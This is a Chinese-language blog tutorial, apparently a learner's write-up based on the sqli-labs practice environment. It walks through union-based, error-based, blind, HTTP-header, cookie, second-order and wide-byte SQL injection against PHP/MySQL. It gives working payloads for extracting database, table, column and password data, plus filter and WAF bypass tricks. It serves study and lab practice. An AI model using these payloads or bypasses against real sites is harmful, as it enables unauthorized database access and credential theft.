本實驗測試是基于sqli-labs的實驗環境
環境配置:php+mysql
環境搭建請參考 http://www.freebuf.com/articles/web/34619.html
Sql注入定義:
就是通過把sql指令插入到web表單送出或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行的sql指令的目的
sql注入分類:
基于聯合查詢
基于錯誤回顯
基于盲注,分時間盲注和布爾型的盲注
基于user-agent
基于feferer
基于cookie
二次注入
寬位元組注入
注入一個網站時,我們先要找出背景構造的查詢語句,然後判斷是否存在注入點。
正常的找出查詢語句的方法是在後面加’ 、 “ 、 ‘) 、 “),看是否報錯,然後用and 1=1和and 1=2判斷是否存在注入點,然後根據情況用不同的方法注入。
1.聯合查詢
通過執行等同于将一個表追加到另一個表的操作來組合兩個表的查詢
首先來了解下mysql的系統函數
<code>user() :目前使用者的使用者名</code>
<code>database():目前資料庫名</code>
<code>version():資料庫版本</code>
<code>datadir:讀取資料庫的絕對路徑</code>
<code>@@vasedir:mysql安裝路徑</code>
<code>@@version_compile_os:作業系統</code>
<code>concat():連接配接一個或者多個字元串</code>
<code>group_concat():連接配接一個組的所有字元串,并以逗号分隔每一條資料</code>
然後再來了解下union
UNION 用于合并兩個或多個 SELECT 語句的結果集,并消去表中任何重複行。
UNION 内部的 SELECT 語句必須擁有相同數量的列,列也必須擁有相似的資料類型。同時,每條 SELECT 語句中的列的順序必須相同.預設地,UNION 操作符選取不同的值。如果允許重複的值,請使用 UNION ALL。當 ALL 随 UNION 一起使用時(即 UNION ALL),不消除重複行
order by 用于對結果集進行排序
mysql 5.0版本以後提供了information.schema表,表中記錄了資料庫中所有的庫、表、列等資訊
了解Schema,schemata,schema_name,table_schema(這是我學習過程中最混淆的地方,可以對照phpmyadmin學習)
SCHEMATA表:儲存mysql所有資料庫的基本資訊,包括資料庫名,編碼類型路徑等,show databases的結果取之此表。(其中包含一列schema_name,即資料庫名,不同于schema,schema_name隻是單純的資料庫名)
TABLES表:儲存mysql中的表資訊,(當然也有資料庫名這一列,這樣才能找到哪個資料庫有哪些表嘛)包括這個表是基本表還是系統表,資料庫的引擎是什麼,表有多少行,建立時間,最後更新時間等。show tables from schemaname的結果取之此表(其中包含table_schema,表中的對應的庫名資訊
,table_nama同樣不同于tables,隻是單純的表名)
COLUMNS表:提供了表中的列資訊,(當然也有資料庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的資訊,包括該列是那個表中的第幾列,列的資料類型,列的編碼類型,列的權限,注釋等。是show columns from schemaname.tablename的結果取之此表(其中包含table_schema,表中對應的庫名資訊,table_nama表字段對應的表名,columns_name字段對應的字段名
)
找到注入點後,我們用order by語句查詢資料庫中存在多少資料表
确定多少個表,為了便于說明,假設有三個資料表,
<code> </code><code>order by 3 傳回正常</code>
<code> </code><code>order by 4傳回錯誤</code>
<code> </code>
<code> </code><code>然後使用and 1=2 </code><code>union</code> <code>select 1,2,3 %23爆出可以回顯敏感資訊的位置,假設在2和3上</code>
下面我們就要查詢敏感資訊了,就要用到上面所說的系統函數了
<code>and 1=2 </code><code>union</code> <code>select 1,version(),database()可以爆出目前使用的版本和資料庫名</code>
<code>and 1=2 </code><code>union</code> <code>select 1,2,schema_name from information_schema.schemata limit 1,1 %23爆出資料庫名,依次使用limit2,1往下爆庫名,</code>
<code>也可以使用group_concat函數全部爆出來 and 1=2 </code><code>union</code> <code>select 1,2,group_concat(schema_name) from information_schema.schemata%23 。</code>
我們假設其中有flag庫。
<code>and 1=2 </code><code>union</code> <code>select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’ 爆出flag庫下的所有的表,假設其中有flagtable表</code>
<code> </code>
<code>and 1=2 </code><code>union</code> <code>select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’爆出flagtable下的所有字段,假設有name和password字段</code>
<code>and 1=2 </code><code>union</code> <code>select 1,2,group_concat(name,password) from flag.flagtable爆出flag下的flagtable表的name和password的内容</code>
2.基于錯誤回顯
基于錯誤回顯的sql注入就是通過sql語句的沖突性來使資料被回顯到頁面上
所用到的函數
<code>count() 統計元祖的個數(相當于求和),如select count(*) from information_schema.tables;</code>
<code>rand</code><code>()用于産生一個0~1的随機數,如select </code><code>rand</code><code>();</code>
<code>floor</code><code>()向下取整,如select </code><code>floor</code><code>(</code><code>rand</code><code>()*2);</code>
<code>group by 依據我們想要的規矩對結果進行分組,如select table_name,table_schema from information_schema.tables group by table_name;</code>
<code>group_concat将符合條件的同一列中的不同行資料拼接,如select group_concat(0x3a,0x3a,database(),0x3a);0x3a是十六進制的分号</code>
<code>又因頭太長,為了美觀,可以起一個别名,select group_concat(0x3a,0x3a,database(),0x3a)name;</code>
我們先将上面的整合下,
select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;先生成随機數,并驗證,然後用分号将不同的資料拼接,并取别名name,最後将結果以name進行分組并進行統計,能看到統計出的兩個不同的取值,0和1。
再進行多次重複,看一下關于rand()函數與group by 在mysql中的錯誤報告,我們就是要利用group by part of rand() returns duplicate key error這個bug。
<code>RAND() in a WHERE clause is re-evaluated every </code><code>time</code> <code>the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.</code>
<code>這個bug會爆出duplicate key這個錯誤,然後順便就把資料也給爆了</code>
<code>公式:username=admin</code><code>' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想擷取的資料的sql語句))x from information_schema.tables group by x )a) and '</code><code>1</code><code>' = '</code><code>1</code>
<code>and (select 1 from (select count(*),concat(</code><code>floor</code><code>(</code><code>rand</code><code>()*2),0x23,( select group_concat(schema_name) from information_schema.schemata ) )name from information_schema.tables group by name)a) %23 爆出所有庫名,同上面一樣,假設有falg庫</code>
<code>and (select 1 from (select count(*),concat(</code><code>floor</code><code>(</code><code>rand</code><code>()*2),0x23,( select group_concat(table_name) from information_schema.tables where table_schema=’flag’ ) )name from information_schema.tables group by name)a) %23 爆出flag下的所有表,假設有flagtable表</code>
<code>and (select 1 from (select count(*),concat(</code><code>floor</code><code>(</code><code>rand</code><code>()*2),0x23,( select group_concat(column_name) from information_schema.columns where talbe_name =’flagtable’ ) )name from information_schema.tables group by name)a) %23 爆出flagtable表的所有字段,假設有name和password</code>
<code>and (select 1 from (select count(*),concat(</code><code>floor</code><code>(</code><code>rand</code><code>()*2),0x23,( select group_concat(name,password) from flag.flagtable ) )name from information_schema.tables group by name)a) %23爆出name和password字段的内容</code>
3. sql盲注
在不知道資料庫具體傳回值的情況下對資料庫中的内容進行猜解,實施sql注入,一般分為基于布爾和基于時間類型的盲注。
3.1 基于布爾型的sql盲注
傳回的界面隻有兩種情況,即TRUE和FALSE,這樣說并不是很準确,因為SQL查詢無非就這兩種情況,應該說是盲注的時候你隻能得到一個正常的頁面或者是什麼頁面的不存在,甚至你在查詢表的記錄過程也不會有顯示。
首先了解幾個函數
<code>length()傳回字元串的長度</code>
<code>substr()截取字元串</code>
<code>ascii()傳回字元的ascii碼</code>
<code>connt()統計元祖的個數(相當于求和)如:select count(*)from information_schema.tables;</code>
<code>爆資料庫的路徑and ascii(substr(@@datadir,1,1))>69 %23然後使用二分法一步一步确定。</code>
<code>爆所有的資料庫名</code>
<code>and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23 limit函數爆出的是第二個資料庫的第一個字元,同上,假設其中一個庫名為flag</code>
<code>爆資料庫表名</code>
<code>and (ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 0,1),1,1)))>100 %23假設其中一個表名為flagtable</code>
<code>爆出資料庫的列名</code>
<code>and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 0,1),1,1)))>100 %23,假設其中列名為name和password</code>
<code>爆出列裡的資料内容and ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1),1,1))>48 %23</code>
這樣我們就一步一步的爆出資料庫的資訊了
3.2 基于時間的盲注
web頁面的傳回值隻有一種,true,無論輸入任何值,它的傳回都會按正确的來處理。加入特定的時間函數,通過檢視是web頁面傳回的時間差來判斷注入的語句是否正确
sleep()函數
執行将程式(程序)挂起一段時間
if(expr1,ecpr2,expr3)判斷語句
<code>爆庫名</code>
<code>and </code><code>if</code><code>(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23使用二分法,一步一步爆出資料庫名,假設其中有一資料庫名為flag</code>
<code>爆表名</code>
<code>and </code><code>if</code><code>(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 1,1) ,1,1))>101,1,sleep(3)) %23假設有一表名為flagtable</code>
<code>爆列名</code>
<code>and </code><code>if</code><code>(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 1,1) ,1,1))>100,1,sleep(3)) %23,假設爆出列名為name和password</code>
<code>爆表中的内容</code>
<code>and </code><code>if</code><code>(ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3)) %23</code>
4.基于user-agent的注入
使用者代理(user agent)是記錄軟體程式的用戶端資訊的HTTP頭字段,他可以用來統計目标和違規協定。在HTTP頭中應該包含它,這個字段的第一個空格前面是軟體的産品名稱,後面有一個可選的斜杠和版本号。
并不是所有的應用程式都會被擷取到user-agent資訊,但是有些應用程式利用它存儲一些資訊(如:購物車)。
HTTP查詢執行個體:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa’ or 1/*
我們将火狐設定為本地代理,然後用brup suite抓包。
<a href="http://s2.51cto.com/wyfs02/M01/84/65/wKiom1ePTdiy0zTiAACRH_NALwA744.png-wh_500x0-wm_3-wmp_4-s_410776055.png" target="_blank"></a>
然後将包發送到Repeater
在user-Agent修改為’,2,(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )#
<a href="http://s4.51cto.com/wyfs02/M01/84/65/wKioL1ePTkWhMmc8AAKVxLXfrU4932.png-wh_500x0-wm_3-wmp_4-s_2383133681.png" target="_blank"></a>
就爆出了資料庫的庫名flag了,這是sqli-labs第十八關的測試結果,構造爆出表列的語句和基于錯誤回顯的語句一樣,這裡就不多做說明了。
5. 基于頭部Referer注入
http referer是header的一部分,當浏覽器向web伺服器發送請求的時候,一般會帶上referer,告訴伺服器我是從哪個頁面連結過來的,伺服器以此可以獲得一些資訊用于處理
以下測試基于sqli-labs第十九關的測試結果
<a href="http://s4.51cto.com/wyfs02/M02/84/65/wKiom1ePTmyAiZh8AACjcFdn2Hw533.png-wh_500x0-wm_3-wmp_4-s_2183992281.png" target="_blank"></a>
在referer中輸入',(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )# 爆出資料庫名為flag,其他注入語句和上雷同。
<a href="http://s5.51cto.com/wyfs02/M02/84/65/wKioL1ePTp3TDMs3AAL36rGJMXo201.png-wh_500x0-wm_3-wmp_4-s_3052721971.png" target="_blank"></a>
6. 基于cookie的注入
cookie(存儲在使用者本地終端上的資料)有伺服器生成,發給user-agent(一般是浏覽器),浏覽器會把cookie的key/value儲存到某個目錄下的文本檔案内,下次請求同一網站時就會發送還cookie給伺服器(前提是浏覽器設定為啟用cookie)。cookie名稱和值可以有伺服器端開發自己定義,對于jsp而言也可以直接寫入jessionid,這樣伺服器可以知道該使用者是否合法使用者以及是否需要重新登入等,伺服器keyhi設定或讀取cookie中包含資訊,借此維護使用者跟伺服器會話中的狀态。
火狐中插件friebug對其修改,或用burp suite抓包修改
以下測試結果基于sqli-labs 第二十關
在cookie中加單引号測試報錯,證明存在注入。然後在cookie中輸入'and (select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) # 同樣爆出的庫名flag
<a href="http://s4.51cto.com/wyfs02/M00/84/65/wKiom1ePTs3Qyc2YAAKNKw-R6bg369.png-wh_500x0-wm_3-wmp_4-s_1248409171.png" target="_blank"></a>
對于GET和POST的差別:
<a href="http://s1.51cto.com/wyfs02/M02/84/65/wKiom1ePTx7CiTrgAADYzOk_X0I370.png-wh_500x0-wm_3-wmp_4-s_230665394.png" target="_blank"></a>
當然,上面所說的全是在裸機的情況下的結果,在正常情況下,會有些防護措施。下面介紹些繞過的方法。
1. base64編碼
base64編碼的思想是采用64個基本的ascii碼字元對資料進行重新編碼。它将需要編碼的資料拆分位元組數組。以3個位元組為一組,按順序排列24位資料,再把24位資料分成4組,即每組6位,再在每組的最高位前補兩個0湊足一個位元組,這樣把一個3位元組為一組的資料重新編碼成4個位元組。當所要編碼的資料的位元組不是3的整數倍,這時,在最後一組填充1到2個0位元組。并在最後編碼完成後在結尾添加1到2個”=“。
關于這個編碼的規則:
①.把3個字元變成4個字元。
②每76個字元加一個換行符。
③.最後的結束符也要處理。
在火狐的插件heckbar中有此功能
<a href="http://s1.51cto.com/wyfs02/M02/84/66/wKioL1ePT1GC1GS3AABM-Bhmdqs816.png-wh_500x0-wm_3-wmp_4-s_1765246804.png" target="_blank"></a>
1. 過濾關鍵字元
and ——&&
or —— ||
空格被過濾
可以使用”%09 %0A %0C %0D %0B”替代,也可以用or和and語句來構造到達閉合語句的效果。
union select 過濾
使用大小寫繞過,如UNion,SElect
多次重複,如ununionion,selselectect
在union select 聯合使用被過濾的情況,union all select
2. WAF應用防護系統
php get 擷取參數時有一個特性,當某個參數被多次指派時會保留最後一次被指派時的值。如id=1&id=&2&id=3這時,程式會傳回id=3的值,但WAF隻對第一次的id進行測試,如果傳入多個id,那麼後面的id則存在注入漏洞
輸入id=1&id=&2&id=3‘就會出現報錯
注入過程分為兩個部分,語句插入和語句執行。正常的注入中都是将sql語句插入後即可顯示效果,出錯或者得出注入結果,而二次注入的第一步不會産生任何反應,因為它隻是一個語句的插入,并沒有執行,在第二步運作時才能執行第一步插入的語句并顯示結果。而這兩個點可能不在同一位置。
<a href="http://s2.51cto.com/wyfs02/M00/84/66/wKioL1ePT6WxkBsBAAH5MAEtuyY450.png-wh_500x0-wm_3-wmp_4-s_3185382339.png" target="_blank"></a>
此時修改密碼,單引号閉合語句,井号注釋後面的語句,修改的就不是admin’#的密碼了,而是admin的密碼
GB2312 , GBK , GB18030 , BIG5 , SHIFT_JIS 等這些都是常說的寬位元組(兩個位元組),ascii就是單位元組(一個位元組)
GBK編碼,他的範圍是0x8410~0xFEFE(不包括xx7F)ascii編碼,他的編碼範圍是ascii(0)~ascii(127),另外有一個擴充ascii列印字元,他的範圍是ascii(128)~ascii(255)
addslashes()函數
在每個字元前添加反斜杠:\
my_sql_real_escape_string()
my_sql_real_escape_string()函數轉義sql語句中使用的字元串中的特殊符:\x00 , \n , \r , \ , ' , " , 、x1a
id=1,我們在後面家單引号,雙引号都傳回正常,因為被添加反斜杠或轉義了,此時我們可以在測試字元前加%bf
id=1%bf’就會報錯了,至于原因,闡述起來比較麻煩,各位同學去谷歌或者百度下吧。
由于本人也是初學者,文中若有錯誤,請多多包涵,歡迎各位愛好者一起交流!
本文轉自 wt7315 51CTO部落格,原文連結:http://blog.51cto.com/wt7315/1828167